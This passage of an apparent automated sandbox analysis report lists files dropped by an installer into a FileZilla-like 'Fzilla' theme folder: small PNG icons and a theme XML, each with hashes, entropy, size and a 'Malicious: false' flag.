SHA-512:	6D84FD8F5E8FF4913983977C5CEB4B6D655967A0D7F7A6AD9C53C3763CDCB095B8A51E8E7FC6829501B16216E7B16E2771BF9967DC6CA5C153AC58C5B6B97657
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE............<.v.i...B..?.p.....tRNS.B.A....CIDATx.].... ..Q....83B<.w.EM.....z..cU.9..$.~".......#........l.....O'y.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-JQSI1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	277
Entropy (8bit):	6.759722232738163
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtYxzG/w2PXGaglT/QCWWWZCtqDyMIzGO89dE8rnbp:6v/7uNpQzQG7OFQJ8sIzGOU1
MD5:	80FBDF824F1570176A0B6294452E5D93
SHA1:	080B426047F3ABC70489437CCA67690EA170F872
SHA-256:	4BC9F7B25AFCB1E34308CC4DCC21E70AB139648DC8526FB06100965D83CBF8E4
SHA-512:	6092B3BE2C696513192286F5DDAE48D22B2B65262C6C9596299CDCBD433917923D1DF2C7CF4AC513D3CE012C06C2FC865F997D3572563ED82BCC5D003F460DC5
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.c.O"...'.<..Mz... ...._>..2..v.#..k..~.>.2.5\|y.......8...".....a...}...W.Ap......a.'.....A....4.N.....s.=.'....J8H... {..n#....a.o........>..N........S.....+6.GM?......J.H.B.p.*@....~D......{........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-K2M7C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	123
Entropy (8bit):	5.6207970256458015
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAkxHl/wc2J+cdLMS2YddlWlDZJ5lp1p:6v/lhPQk1lcdIS2wdlYL5lbp
MD5:	1F9145F1B12133F3AC3D5F66DAFC0F15
SHA1:	F7D659948ACC84379A7C7E20D2B8D559F23C76C9
SHA-256:	595C06A53B6C8174B2E2D8F6ECE83418A3C6D92F96A833D5F50C4A32C0A93BA1
SHA-512:	AA8693F77471F59E2E89AEB7A691678AF80C0E1AC52B7AF0946D1D0A914E6B4E4E1E2432091B7813A7EB3E504019CD06C599214E69061B12334E40CFE13978F9
Malicious:	false
Preview:	.PNG........IHDR................a...BIDATx.c...q....4.0.6_......l...Lcb..N8..k.Q..g.!/8...N81!.7.>`....:T.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-K7R6T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	245
Entropy (8bit):	6.697087897627219
Encrypted:	false
SSDEEP:	6:6v/lhPCtmVMLVq4hFmDFFYC+qKF0DzZrYV/wfbKXfp:6v/7INVq6F03Yvyvfbm
MD5:	E69DDF7AF6005A76C8A177C0B3556FD3
SHA1:	33A58656D5BB574A4D84F6D50F1829E21624F4B0
SHA-256:	E7916A860DDCB853922631780B95B9E0A4A017EB96C4191B404C56DFE7BD1DDE
SHA-512:	B53A51728D37AD283A10F22F8B88CC19CB49BD02BFACC22DA7A23737FCB7F2639703985521EE8AEAE885FB3EED908F1A01AD2CF576E434812354FA7FEAB02A7A
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c`........,.>......Y`...v.q.........S....X.....Y...`C&.5...........2.u'.;..p;.hH.....y?.4.>^.......]X....^.?^....V..; C.`....\|8i......KnA..6..%Lp.p..h...%...A..y..%X...x......s.....6g....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-M1MEM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	179
Entropy (8bit):	6.352097747179528
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3llWebPfgXS7VJuQXb1FvE7rcm3Qr/qb7FH8VW5GY+kg1p:6v/lhPbb3gXSRJBXpScm3QGNH8VgGbbp
MD5:	A30DF9F34DC7814120BA50F5DD0CE35A
SHA1:	97B36BCC8CA676C45E125D6041E1C7179EFC2E0E
SHA-256:	297B35A7D181F05BA6DD330DD4E39F4FEA7AD6F01A22213CE14E3CDECB164CD3
SHA-512:	BB495C7962BDD98FA13F5CD5041F32768B4229ECD42E896A2130318B26DEE39CAC68E417291FAE057E968C4AF679D5F573833CF4D96F9D007D333E5BE52F4F0D
Malicious:	false
Preview:	.PNG........IHDR................a...zIDATx.b.\|.+p!..20........6-.$..BQ.j_Q..;.><....,0...OY+z.r..`.#0.....]..,/.8E.T .L.5p..\..fe.......q2.N...\|P....O 22.d...=s....=.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-MD2RC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	298
Entropy (8bit):	6.929556212034225
Encrypted:	false
SSDEEP:	6:6v/lhPmNpot/7/eYhwordWi3XIZ+1aoLH90MpVw7/LrFOQcw9TM9Egjp:6v/7uNpA/eYm7ZCtL9ZwzgQ/9A97N
MD5:	97796311160C86A57A37E3428D8533FC
SHA1:	67E8A651CE8F32DFCA6C96043D9D0470914332CA
SHA-256:	48011CE297F5D44836D4DB4B8C37A9D17532EC69C9FD1889F78632B14902E4C8
SHA-512:	AE2E06E7B5FFE82DBCE0EDD497E05BD95EE4FB000FB376AA7519A52F4ABFF1785D53CF2DE80DE8A2D5E339893738495F4457E2A103C13BEDC830AF04519F8946
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......n.......IDATx....q.1..W.Z.'.g. ...6......Cb...$.5.f.dz.{....=2J.<f......4r.,..8.0..t.......0...."...S.K.C.t.8..D..8...9....%.}.je......Q...<.BM.!.MoG.C...V.........[....o&...V]..f/.S....N..>_#^...>#U..)O.g...3/.../i...n..2K.'.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-MK3VG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	270
Entropy (8bit):	6.865999338064653
Encrypted:	false
SSDEEP:	6:6v/lhPp+IOreikJvHi8enlUVB1oGnyjkO3p9IF0A7Rcldup:6v/7ireikx+n2bqwU3UyURcldc
MD5:	A54567E2436DBB522431A51C00056099
SHA1:	8FABD540D8333A5A1976B04B16033C28A03C9560
SHA-256:	19D2E09FB051AF2E7C43A3278D534794A45AF49709DA2ADFA1089CA103F8DD53
SHA-512:	98D40EBC8818814B99124F52C4A899E2DD76BE4CAB4B4A3246FCB7698982F4FC008F7A11B4D9160229D570E86F6DF9799BDE4EE967718B062333D60E28C53506
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..a..0...d.(..t..3...R......(...t8..x\|_..G...M..$I.(...1.iJb-.2I.E.<.I..aH....N[U.q..s...w.@....T.........{.`A....G.`.%...;>.........nb]'....F#@..\\..C./.A........ly...w........X....L.@.....`..._..:.. . ....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-N6JPN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	279
Entropy (8bit):	6.673079365590357
Encrypted:	false
SSDEEP:	6:6v/lhPfQsNggUz8HyX6R12aFhMklTqMz/+RwNhcj7vim1gWaqp:6v/7DWjAkA2aFhMkXjLEjn
MD5:	020253E72AE67390D60D7CA57FA77945
SHA1:	607BFB3D0862085C6367B07007BA272E1D5F9081
SHA-256:	294163290886B12F22094C3AECD042CA203A4FFD441A7C384926FE0088FE60E5
SHA-512:	727251BA96CB0BCAC1F03E1A5606493F38A139B93B489FFB58A6D53CC80E2D5C167CCC6714A343D808E181BAF29DB31D166B9F7CD439097C6C25A5B4BF9AB167
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...ZPLTE....u..B.Hy....5......J..W..V..?..q..d..>..V..d..~..q..r..~..~......d..........J...?....tRNS.@..f...kIDATx.].U.. .D..Re......sT.C........oLD.n.o.(....U..{.C......n...p;.H......... >...`../..v..l.+.L...../.3.+.k....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-Q0H4G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	216
Entropy (8bit):	6.333576096494228
Encrypted:	false
SSDEEP:	6:6v/lhPfWKbo73s3a8ncCgMNOT1NB3IwM1/bp:6v/7mKELsqFQOT1j+9
MD5:	8F42C78DC1738E14792FEB10E6F1DBB8
SHA1:	1F85A93B819C9FD2DFBFBBC70933F2BFBAB1F82E
SHA-256:	F2FFF7111CF4D8FB6282F621D712A6CB766F8E1D88F06B2695DE5F5148EFAD69
SHA-512:	B2E4010139FA0B36E8E6CEBD839470E66797A2E32DD9272C5EF7E53355597FC7FAF5A324927B0EDF50D8682919B643E7884CAC56F4FAE56359FA7707304FC849
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...$PLTE.......F.A.>.C.>............W..p....tRNS.@.O.....aIDATx.U....0...h....J.....\.L.=.Vh...N.h.H.(.d..$...x.Q!...I/..o.B.Isd$.......9.....u......j\Y..x...@....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-T4KGR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	157
Entropy (8bit):	5.714748364466332
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFZo3Savmqnx7N5hl/2xy5kpl0zZmXCGgFMflek2clllVp:6v/lhPIFZpgmqxJ5hAxEOIYXCJglekd9
MD5:	B39FEB65E483D91B36EB70E0E5733F3D
SHA1:	74AD2D15DE04D121BF6AC8FBE10387B1C06FF7B5
SHA-256:	ED964193D53FFEAF2EF8B45B61ED04084C46AEB74BA1DD614A3967EDA160CBA0
SHA-512:	38A169CAEFC73E75BB24E90BABFCC361B45F8D23487D1D0E0A5ED03D7353FBADA796C94F9BDC6F28AB3BB8C254FB9C04CA9CF3CC2E49D460B3D69230375E38DF
Malicious:	false
Preview:	.PNG........IHDR................R....PLTE...\.._..^.............}...%M....tRNS.@..f...0IDATx.c@.FAAE...%440..`.2B..". .{(.....3:..........NO.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	216
Entropy (8bit):	6.333576096494228
Encrypted:	false
SSDEEP:	6:6v/lhPfWKbo73s3a8ncCgMNOT1NB3IwM1/bp:6v/7mKELsqFQOT1j+9
MD5:	8F42C78DC1738E14792FEB10E6F1DBB8
SHA1:	1F85A93B819C9FD2DFBFBBC70933F2BFBAB1F82E
SHA-256:	F2FFF7111CF4D8FB6282F621D712A6CB766F8E1D88F06B2695DE5F5148EFAD69
SHA-512:	B2E4010139FA0B36E8E6CEBD839470E66797A2E32DD9272C5EF7E53355597FC7FAF5A324927B0EDF50D8682919B643E7884CAC56F4FAE56359FA7707304FC849
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...$PLTE.......F.A.>.C.>............W..p....tRNS.@.O.....aIDATx.U....0...h....J.....\.L.=.Vh...N.h.H.(.d..$...x.Q!...I/..o.B.Isd$.......9.....u......j\Y..x...@....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.704219760640863
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3l52RzZV7qWDHDzUHNyOoHTkup:6v/lhPoVnUrgTbp
MD5:	0B2ABEB72B48D34FDB051107A873F246
SHA1:	2F27AF9574F775CE2798C5836B73169A0AECC61E
SHA-256:	B1FACD3651A831DB0B013C41C68A287FA0BEA4C871D2A19DDC63451F22391209
SHA-512:	F44381BBD62D9C99C902E526C0C9EDC1FF316244D541556ABCF183B52928C6D8530494DFDD94E2DD72774A3E4FE88F06D3B40EBDA0D8F7710211CD836957ED0C
Malicious:	false
Preview:	.PNG........IHDR................a...FIDATx.c`...{..R0....L......0H-N.b&m..2... ...]`\|../...F...E.Da............g=....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	174
Entropy (8bit):	5.980276220238739
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/NM+TNS8GDRbI0trnU3eGYMHTDFH4qUVtt9i9eup:6v/lhPfPMpIGnUYMHTDFYqUR/up
MD5:	D0351FFBFCE212DF95D53C7E32C20DB2
SHA1:	9755C68DB479CD2A181624E8F010F193EA7E2BE2
SHA-256:	F85E2C8403D2D89A5A93455C4D1E1DDE6EFA0F23A43A1AD3E0DECA8514AE973B
SHA-512:	6D84FD8F5E8FF4913983977C5CEB4B6D655967A0D7F7A6AD9C53C3763CDCB095B8A51E8E7FC6829501B16216E7B16E2771BF9967DC6CA5C153AC58C5B6B97657
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE............<.v.i...B..?.p.....tRNS.B.A....CIDATx.].... ..Q....83B<.w.EM.....z..cU.9..$.~".......#........l.....O'y.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	286
Entropy (8bit):	6.516672130396907
Encrypted:	false
SSDEEP:	6:6v/lhPfyL7nxJdebSowiyotXhp7GstKvBILkO5fcE6V5KTp:6v/7o7rdzoY4Xhp7Gs4Qlhcr5s
MD5:	0A26CE3CE82CEBF58455C26A9CC8C4E6
SHA1:	1B271A71A9F915DEFE99EE048925425F15BE472A
SHA-256:	B2B5A8102F51DF20748227CBFF5A9E12C788EE71F74628A97223D2A8F4A808C7
SHA-512:	E1EC824394EB9E7C4A6A3B52AF145529B06BDB51B2A84779A65A3A7C2E2195BB7573FF9423EB7A61FBBE30881E0BC04270A82250EDE59833F6056E6475A6A2AF
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE....i............}.............B.................................................U.f....tRNS.@..f...{IDATx.U....P.E..4....N.xi.(Y.k.......a\|]keE.d.Y~.d^..h.WN.u.Dm....uZh$...m.1"._......_n..U^....R.........!...."......7...J.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.39550370859088
Encrypted:	false
SSDEEP:	12:6v/7uNpQlktGQ5FWuoKcqH6UPdxLTNr/4BGFZdfHuVT10s:nT4MAu/76Uf1/4BLVh0s
MD5:	A5DBA22BD5B2DB3D7CB458975836EA6B
SHA1:	A4FD0465B101463248B38CCD68FF64F0B9F32899
SHA-256:	13AF05EED207A88E66D98DBBF58062CAA0F940BDB31A8A761D498B60D3CE744C
SHA-512:	B8BE64EB4FDACBBD999031EE5AFA8F35F2F754555E5914BA05FE1F2E1B5D208342364771A9B2703B5FA48EE426D339AA8AC2E036E8F4E98592E12B5688C9D164
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx...C.cQ.....M....M4c{.e?.gmD.m.....<..../...`9FE..H.....Jp=$*.7....^+...]...j.......r..q.t_K.l....o-Ug...-g.-......_.-....<...B.T....\|%.......l.zn.........w..@........S.c....{...-.K..Zj......P.m.8.q..^......]O.0..j..y.<...[0.]:>..}......8.j...h..f.@.v@.0%....t...............:....2a.....[....}...xX..u.y.X....].P.qpy.P.I..vm.O8...9.c..@...%..-.$3.cpz.... ..Q.}....mN.....h......7L.....%...M......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	480
Entropy (8bit):	7.3935707713424605
Encrypted:	false
SSDEEP:	12:6v/7URlqI5Nj2xE+U2TpA5f7sggppbIpbp/QjWCqML3E2tzwMYwaYMr4BBF:5RnYxE+1TpAB4ggy6j5uZ9Vrg
MD5:	D911483C65C7556F06D90057BDB5AD6C
SHA1:	B21741EEB1F8360C4B9737033B700F4C57892C77
SHA-256:	1260048FCF3FD414BD68C61EAF281A3746C4CF29AF0DFBAC1BA6E0290C18F150
SHA-512:	5D297CBA7E6D0885184935C2F16437FA2CB64B3415179F925EF649A23F2168E0218E06C560ED0A980CDE860836856C515FFD94614ADDC1F6B2F0D6C92A89A01B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..R%..a...j..WoZoV?T.\.j...........8fftY.en..0w_r9ED...1X..,......t.^.Yn...71...Z.........:H.n.j...fC.[R..d...."....cL..M....@..K....,\|.N....e...&....i2.j@..o.1T.{R..i..;\|...q.....wB>....<........~.j.E.......Si.6.V..c z...u.A...R%;.>.d..@d!.....M>.!.s...<.......o..AC.;.N'...C..I......w..W..y.B.;L.'...U.K.H..F..-..G\|.>......[.#.....L.e.+_..s.qw.HDP......I..].U....I.9].-.". `..z@..Tz..-..Y.......!.fe.$.?'k..8......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	194
Entropy (8bit):	6.446368816929445
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lNhTcgASjKWpyjoxUl776Kgc8i3MzDQ1nGEBG02up:6v/lhP9hTDASbhUl/6FLk8Cp
MD5:	0E2BFFD4BDFE5A992268C493AD21C92C
SHA1:	667F7EDB30A816FEDD5AC544E30CD0E94C6364D1
SHA-256:	5111661D61CFDA750D19E7DE4243A6A996178FBE98501C2C5C604A17FF0B67A8
SHA-512:	C4064F8676D89C8CBE2BE87A6E7CF3478E829F90C3B705A4FB075FBC0972FFCC6A41259601583ABD68D93F12889A59D8C5FEAC47FA6749339A1B92EFFE9D5825
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b..n.t..C....1....3.N.('].(.....Y.I.....;.....B.ZcZ.Tw.7WA'.......;.....\;l...1HA...E...~].w....g...LR..$.d@.W..>.....J.r...;#..:...VZ.q.w....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	207
Entropy (8bit):	6.442663049885758
Encrypted:	false
SSDEEP:	6:6v/lhPmJwPd/chkGX2FY6bOIM43J22CtgHrrD/Wdp:6v/7OiPlchkGmFVbOwQgDk
MD5:	65C2A73ECD3447EABF03082C934EE5F7
SHA1:	AFE1D0408000C047A2E3DA32179E68E833EB5F7D
SHA-256:	76A825581BC97A70767B23C2B7C024DB5F2BFCFA296411ABAE2D8592EFA88D2D
SHA-512:	A05BCC9553E7A99A190596C467173F13D5BC323937204BF9122906E16D38C1EA0E7ACFDF1145D82608551F1907E12A044A0A79BD6F1335538D18CFAF784B3885
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..v..8....IDATx.b...MK...!..QeM.+..8.%.NW...../.hm.1.?...i........G....M....)...=.^.1....J_,.....!G....'...d$$Eb....13.r...).....o..""....;...L.<.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	167
Entropy (8bit):	6.132608765486688
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lJu4Rdj5xEjqeplU87lSPm/Zj41xmz31iOg3/lH1p:6v/lhP/5x4pll+m/ZjU3Z3tVp
MD5:	EBE775CC3289F84FFC82B81583CE11C9
SHA1:	96E5F11375E3E52CB1B9BBDA794F6D2B4BC4901B
SHA-256:	F133AE3DEEEB584B6C5AB7E2FA74DFAEF9AB4C48D7F25127EA854BB14CF5C9BA
SHA-512:	D63D505C6D2BC6A4EF35F8F4F10CA51900BB6C5B6C644557FF6CDF80DDC7A7AA5ABBB68A0CF699EBFFC066F924F79AF235E63D9FCAE1C0A6AF2832E05D643D89
Malicious:	false
Preview:	.PNG........IHDR................a...nIDATx.c.*.s....I..#..Sv..8 M...'..........{....9.4..........0.!$...-.+.....sA......F]P..(..x..d....r.J......U..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	321
Entropy (8bit):	6.731862752490998
Encrypted:	false
SSDEEP:	6:6v/lhPfMcJO9pToTWZXhynYaUMp/FE7v+F5br6uuAMcIIgZtPH9p:6v/7rJO9aiZhgEg/FEyF5br62Mcrg/Pz
MD5:	1C919B44BB21DB7B15736F380503FED3
SHA1:	61AFEC3FC34F3C222EC52B6679C2210A7E77363B
SHA-256:	1117E4F7B7B88E0DAEC3C27076788ED31216A5C02C7301D02312E8A3C9E4CC9B
SHA-512:	3041C2682210570C857EF1C8BB5FE9A1CEE4A81D73EB7A4359CA9197D0587AE91FA0E8F6E1AA8DA3EF46070BCA362047C6463F6C9F51E7E0E30B65FF9234B3B1
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...fPLTE...aaa...kkk```...jjj.>.....................lll.........xxx......ttt..................www.........vvv.:.....tRNS.@..f....IDATx.ML...1.k2.Zg...k..Fj.....V..y....T0.^.g#..c\|f. .......8.4M........M...MK8..\..1....B..ju.].........H.1.3..kS(+...+.2.ZY.".:......^J.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	155
Entropy (8bit):	5.7759352116421105
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/V1lQm8UenRLIT/oVZpBS8js9aJmp+tljp:6v/lhPfVvQmF4VITW3A9aUQTp
MD5:	34C636AE220B1D3E367DFE06BAFC91E9
SHA1:	DB3D89CAD6070B8ED004DEEE893B6B9B3637FD34
SHA-256:	A4AF127C014532AC9DAEAB45212ABF75C2053F9641C3DF77DB1E8697D1A63247
SHA-512:	3D8D620F1F50808BB4D42C1DA8A802E16CF03B7A8C4412B9BF0466A4020EF52FF390ED9FF611828B633B4B452E6A2AE3E14AD63D883CDCD0CED8C1E9A0796F71
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE.......i...B..?1..H....tRNS.B.A....9IDATx.....0..8...M...U$cC.L...p...FF..2..@.....J....g....a4.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	279
Entropy (8bit):	6.673079365590357
Encrypted:	false
SSDEEP:	6:6v/lhPfQsNggUz8HyX6R12aFhMklTqMz/+RwNhcj7vim1gWaqp:6v/7DWjAkA2aFhMkXjLEjn
MD5:	020253E72AE67390D60D7CA57FA77945
SHA1:	607BFB3D0862085C6367B07007BA272E1D5F9081
SHA-256:	294163290886B12F22094C3AECD042CA203A4FFD441A7C384926FE0088FE60E5
SHA-512:	727251BA96CB0BCAC1F03E1A5606493F38A139B93B489FFB58A6D53CC80E2D5C167CCC6714A343D808E181BAF29DB31D166B9F7CD439097C6C25A5B4BF9AB167
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...ZPLTE....u..B.Hy....5......J..W..V..?..q..d..>..V..d..~..q..r..~..~......d..........J...?....tRNS.@..f...kIDATx.].U.. .D..Re......sT.C........oLD.n.o.(....U..{.C......n...p;.H......... >...`../..v..l.+.L...../.3.+.k....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	124
Entropy (8bit):	5.7031717489459455
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lyFhDmkolERqglE94kWk/WDNF4OILll/Vp:6v/lhPiFhDmkVA4ktOIxl/Vp
MD5:	86616009BCB357544B0056012333E23B
SHA1:	574A6A7249E7B2FBEB343438A956A14786EA9FF2
SHA-256:	83940C38223C617478A6BE4993298CACE9A60657DCB3B48ABED9EB4892CE80BC
SHA-512:	AD95EAEC6CB16443D1B2DEDEA930C66B17EA017D1368E992E82697BBFEFF91EF963E7B9F7D08802B8389971ED27247D1AF7EA8C68C5B995A6B8CAA629F3C2709
Malicious:	false
Preview:	.PNG........IHDR................a...CIDATx.c...D&.....a.......6....&l.H..4'\|...80.f'BA....j&h \. ......n.4.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	179
Entropy (8bit):	6.352097747179528
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3llWebPfgXS7VJuQXb1FvE7rcm3Qr/qb7FH8VW5GY+kg1p:6v/lhPbb3gXSRJBXpScm3QGNH8VgGbbp
MD5:	A30DF9F34DC7814120BA50F5DD0CE35A
SHA1:	97B36BCC8CA676C45E125D6041E1C7179EFC2E0E
SHA-256:	297B35A7D181F05BA6DD330DD4E39F4FEA7AD6F01A22213CE14E3CDECB164CD3
SHA-512:	BB495C7962BDD98FA13F5CD5041F32768B4229ECD42E896A2130318B26DEE39CAC68E417291FAE057E968C4AF679D5F573833CF4D96F9D007D333E5BE52F4F0D
Malicious:	false
Preview:	.PNG........IHDR................a...zIDATx.b.\|.+p!..20........6-.$..BQ.j_Q..;.><....,0...OY+z.r..`.#0.....]..,/.8E.T .L.5p..\..fe.......q2.N...\|P....O 22.d...=s....=.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\is-DPKPI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.001291483492264
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKZTaQmM7LDTrktoHUTUZBQIKe:TMHdtAgwmMXDkyHKABQIh
MD5:	071CFB68143BB24DE6C59139839E99C1
SHA1:	D9BA644DF50DD3AC5FB456329A3E0E267901972D
SHA-256:	D7556C00AEA0E6CA37274EDDEE3DE2A51A0628E5CD6EDFF10AA6065053ED8AD7
SHA-512:	44A2C8ED0FC0B8D7394125ABA09958567E9BDF5E342F1616A16FA35366230F4E1C25778838FF5DF5EB8743346A425CBFD0021C6F7FDD10235207C9B4B757469A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Cyril</Name><Author>Cyril Burnet</Author><Mail>cyril@techeo.com</Mail><size primary="1">16x16</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\cyril\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.001291483492264
Encrypted:	false
